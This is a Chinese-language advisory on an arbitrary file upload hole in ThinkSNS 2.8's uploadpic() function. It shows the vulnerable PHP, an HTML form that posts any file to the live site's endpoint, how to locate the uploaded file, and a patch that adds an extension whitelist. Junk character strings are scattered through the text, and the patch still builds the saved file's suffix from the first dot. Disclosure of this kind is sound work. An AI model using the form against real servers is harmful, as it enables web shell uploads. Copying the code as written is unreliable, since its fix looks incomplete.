ThinkSNS 2.8任意文件上传漏洞及修复

admin

  微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。
* L% a" D* O  K9 J

# ]" P7 Q0 @4 M# u) n6 y9 z; s7 h\api\StatusesApi.class.php

function uploadpic(){
( L! z) X( l- S& m+ c) t; S      if( $_FILES['pic'] ){
     //执行上传操作
     $savePath =  $this->_getSaveTempPath();
     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
. ?( {+ i6 R' U    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
       {
$ \  y# E; p% F8 [        $result['boolen']    = 1;
( l. p  ]/ e9 R2 f1 u        $result['type_data'] = 'temp/'.$filename;
: [, M( [0 p* o( _- z- _- E        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
       } else {
  o- E9 I' G5 E, d2 c        $result['boolen']    = 0;
& ?6 i* N1 N1 P. C3 N1 w, N        $result['message']   = '上传失败';
  ?4 R  S8 A( D. k       }
     }else{
         $result['boolen']    = 0;
* Y  o4 i8 M! o/ J) q5 x         $result['message']   = '上传失败';
' v  T# p+ |6 u     }
5 B) X4 n# e" R0 k: P& q( ereturn $result;
    }
unloadpic()方法没有对文件类型进行验证

可以构建表单, 选择任意文件, 提交到
& P1 _, P2 z: w5 u# j) M! u/index.php?app=w3g&mod=Index&act=doPost
' k5 ?2 d) m" g6 T& k9 \, j' `
6 l8 G$ a* Q2 c2 o/ T3 l* x2 o' k在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)


8 U7 P/ j9 A% r2 c1 a% U在登录thinksns官方微博后,
2 P& u4 z( e' q构建以下表单:

<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />
<textarea name="content">test</textarea>
/ o; V( g5 O& a" v# ]file: <input id="file" type="file" name="pic" />
$ w& o7 [4 K3 f# x# F<input type="submit" value="Post" />
" i- ]! f2 y3 z% u. a, z</form>
# j7 M9 ~) d% j$ X; e: ]( O. P去掉缩略图的前缀(small_ )
​修复方案：
1 j6 \4 I/ A% V6 f  v$ Z6 e9 E

\api\StatusesApi.class.php

function uploadpic(){
' i6 K- J: K% w+ r, k) C8 d- l     /**
8 g5 J" W/ G2 c      * 20121018 @yelo
      * 增加上传类型验证
2 H4 B; Q$ O- K  C* ?9 h      */
     $pathinfo = pathinfo($_FILES['pic']['name']);
     $ext = $pathinfo['extension'];
! n: d. x: G' R4 q9 A1 U. \7 B $allowExts = array('jpg', 'png', 'gif', 'jpeg');
( V: Q: ]0 ?; G+ V
" V$ D9 _4 q5 U. g9 p     $uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);
8 Q) @& F* {/ H; H7 N7 q
     if( $uploadCondition ){
     //执行上传操作
     $savePath =  $this->_getSaveTempPath();
+ @; d. N% t+ O     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
4 w# N, @0 E8 v5 w    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
       {
# n: H3 h: x) G( y( s/ H        $result['boolen']    = 1;
" |# P4 P3 y" @+ P+ t        $result['type_data'] = 'temp/'.$filename;
        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
/ ?9 q  }1 `% H" n: C/ |# z       } else {
0 O$ @5 J0 v8 E7 a9 J, |- L1 k        $result['boolen']    = 0;
        $result['message']   = '上传失败';
       }
; J5 s1 s0 c; @+ H+ d     }else{
7 w, T. A; |; G, w         $result['boolen']    = 0;
$ `( C: @' W6 _. G, ~7 y# W9 W# Z3 `         $result['message']   = '上传失败';
     }
return $result;
. i) @+ T0 {4 z" M* a+ }    }
​